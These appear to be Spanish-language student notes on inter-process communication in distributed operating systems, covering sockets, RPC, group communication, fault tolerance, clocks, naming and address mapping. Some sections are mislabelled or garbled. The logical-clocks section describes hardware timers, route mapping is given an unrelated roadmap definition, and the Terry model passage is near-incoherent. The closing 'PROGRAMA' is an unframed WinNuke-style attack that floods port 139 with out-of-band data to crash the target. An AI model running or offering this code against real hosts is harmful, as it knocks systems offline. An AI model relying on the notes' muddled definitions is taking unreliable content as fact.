Comunicación entre los sistemas Operativos Distribuidos
Introducción
En un sistema
distribuido no existe la memoria compartida y por ello toda la naturaleza
de la comunicación entre procesos debe replantearse.
Los procesos, para
comunicarse, deben apegarse a reglas conocidas como protocolos.
Para los sistemas
distribuidos en un área amplia, estos protocolos toman frecuentemente la forma
de varias capas y cada capa tiene sus propias metas y reglas.
Los mensajes se
intercambian de diversas formas, existiendo muchas opciones de diseño al
respecto; una importante opción es la “llamada a un procedimiento remoto”.
También es importante considerar las posibilidades
de comunicación entre grupos de procesos, no solo entre dos procesos.
Comunicación
Cliente-Servidor (Socket)
Sockets Son el
mecanismo de sincronización distribuida más importante.
Se les denomina conectores porque pueden unir un proceso
cliente y un proceso servidor de manera semejante a como se puede unir un
enchufe de un dispositivo eléctrico a su
respectivo zócalo.
De los mecanismos de sockets el mas conocido es referente
a al API de Berkeley y esta implementado
en prácticamente todos los sistemas Unix por lo que se maneja C, pero también esta portado a otras arquitecturas como
Windows (WinSock) y
otros
lenguajes como Java.
Para
la comunicación de procesos remotos se necesita conocer la dirección de la
maquina destino y el puerto. Para hacer uso de los sockets necesitamos dos
cosas una familia de protocolos para comunicación y un tipo de conexión.
SOCKET RCP (REMOTE
PROCEDURE CALL)
Un servidor RPC consiste en
una colección de procedimientos que un cliente puede solicitar por el envío de
una petición RPC al servidor junto con los parámetros del procedimiento. El servidor invocará el
procedimiento indicado en nombre del cliente, entregando el valor de retorno, si hay alguno.
Para ser independiente de la máquina,
todos los datos intercambiados entre el cliente y el servidor se convierten al
formato External Data Representation (XDR)
por el emisor, y son reconvertidos a la representación local por el receptor. RPC confía en sockets estándar UDP
y TCP para transportar los datos en
formato XDR hacia el host remoto. Sun amablemente a puesto RPC en el dominio público; se describe en una
serie de RFCs.
COMUNICACION EN GRUPO
Un grupo es una
colección de procesos que actúan juntos en cierto sistema o alguna forma
determinada por el usuario.
La propiedad
fundamental de todos los grupos es que cuando un mensaje se envía al propio grupo, todos los miembros del grupo lo reciben.
Se trata de una comunicación uno - muchos (un emisor, muchos receptores), que se
distingue de la comunicación puntual
o punto a punto (un emisor, un
receptor).
TOLERANCIA A FALLOS
Que
el sistema de archivos sea tolerante a fallos implica qué el sistema debe guardar copias del mismo archivo en distintos
ordenadores para garantizar la disponibilidad en caso de fallo del
servidor original.
Se debe
aplicar un algoritmo que nos permita mantener todas las copias actualizadas de forma constante, o
un método alternativo que solo nos permita al archivo actualizado como
invalidar el resto de copias cuando en cualquiera de ellas se vaya a realizar
una operación de escritura
PREVENCION Y TOLERANCIA A FALLOS
Existen
dos formas de aumentar la fiabilidad de un sistema.
1.Prevención de fallos: Se trata de evitar que se
implementen sistemas que pueden introducir fallos.
2.Tolerancia a fallos: Se trata de conseguir que el
sistema continué funcionando correctamente aunque se presenten algunos fallos.
SINCRONIZACION DE LOS SISTEMAS OPERATIVOS
La sincronización de relojes en un sistema
distribuido consiste en garantizar que los procesos se ejecuten en forma
cronológica y a la misma vez respetar el orden de los eventos dentro del
sistema. Para lograr esto existen varios métodos o algoritmos que se programan
dentro del sistema operativo.
RELOJES LOGICOS
Las computadoras poseen un circuito para el
registro del tiempo conocido como dispositivo reloj
Es un cronómetro consistente en un cristal de
cuarzo de precisión sometido a una tensión eléctrica que:
•
Oscila con una frecuencia bien
definida que depende de:
Al forma en que se corte el
cristal.
El tipo de cristal.
La magnitud de la tensión.
•
A cada cristal se le asocian
dos registros:
Registro contador.
Registro mantenedor.
•
Cada oscilación del cristal
decrementa en “1” al contador.
•
Cuando el contador llega a “0”:
Se genera una interrupción.
El contador se vuelve a cargar
mediante el registro mantenedor.
•
Se puede programar un
cronómetro para que genere una interrupción “x” veces por segundo.
Cada interrupción se denomina marca de
reloj.
RELOJES FISICOS
La idea es proveer de un único
bloque de tiempo para el sistema. Los procesos pueden usar la marca física del
tiempo provista o leída de un reloj central para expresar algún orden en el conjunto de
acciones que inician. La principal ventaja de este mecanismo es la simplicidad, aunque
existen varios inconvenientes: el correcto registro del tiempo depende en la posibilidad
de recibir correctamente y en todo momento, el tiempo actual desplegado por el reloj
físico; los errores de transmisión se convierten en un impedimento para el orden
deseado, el grado de exactitud depende de las constantes puestas en el sistema.
La nominación es una correspondencia entre
objetos de datos lógicos y físicos. Por ejemplo, los usuarios tratan con
objetos de datos lógicos representados por nombre de archivos, mientras que el
sistema manipula bloques de datos físicos almacenados en las pistas de los
discos. Generalmente un usuario se refiere a un archivo utilizando un nombre ,
el cual se transforma en un identificador numérico de bajo nivel, que a su vez
se corresponde con bloques en disco. Esta correspondencia multinivel ofrece a
los usuarios la abstracción de un archivo, que oculta los detalles de cómo y donde
se almacena el archivo en disco.
MAPEO DE DIRECCIONES
El mapeo de direcciones corresponde en la
relación de equivalencia entre un tipo de nombre a otro tipo de nombre; por
ejemplo, de un nombre de usuario a un nombre de sistema.
Para poder ejecutar instrucciones, se debe tener
un mecanismo de traducción de direcciones virtuales a reales. Para ello, se
necesitan dos cosas.
Primero, el compilador manejará una dirección
base más un desplazamiento al referirse a las instrucciones.
Segundo, el sistema operativo asignará como
dirección base el número de página, al paginar al proceso.
De esta manera, puede buscarse el inicio de una
página en memoria, sumarle el desplazamiento y así obtener la dirección real de
una instrucción.
MAPEO DE RUTAS
El Mapeo de rutas describe un ambiente futuro, los
objetivos que pueden
llegar
a obtenerse con ese ambiente y los planes para lograr los objetivos planteados a través del tiempo. Explicita
una estructura, o arquitectura,
como
una vía para el entendimiento de cómo las partes de un complejo sistema tecnológico
encajan, interactúan y evolucionan. Así mismo, articula aplicaciones, desafíos tecnológicos y soluciones
tecnológicas en forma conjunta y
ayuda a establecer las prioridades para la consecución de los objetivos.
MODELO DE TERRY
Los mensajes remitentes
entre los procesos y objetos soportados por un sistema operativo precisa la presentación para el
sistema operativo de los
nombres
de los objetos que los procesos quieren ganar acceso a. El problema es cómo localizar objetos nombrados. Esto
está directamente conectado a la gerencia
del espacio de nombre y las estructuras de la facilidad de nombramiento.
PROGRAMA
void uso(char *pr)
{
printf(" Uso:\n");
printf("\t %s <dst
ip> [dst port] [num]\n\n",pr);
exit(0);
}
void main(int argc,char **argv)
{
int fd =
socket(AF_INET,SOCK_STREAM,6);
struct sockaddr_in dir =
{AF_INET,htons(139),0};
char *crack = "¡taluego
lucas!";
int num = 1;
if (argc < 2)
uso(argv[0]);
if (argc > 2) dir.sin_port
= htons(atoi(argv[2]));
if (argc > 3) num =
atoi(argv[3]);
dir.sin_addr.s_addr =
inet_addr(argv[1]);
if (connect(fd,(struct
sockaddr_in*)&dir,sizeof(dir)) == -1)
{
perror(" connect() ");
exit(0);
}
while (num--)
if
(send(fd,crack,strlen(crack),MSG_OOB) > 0) printf(" [b00m]");
close(fd);
printf("\n");
}
Bibliografía: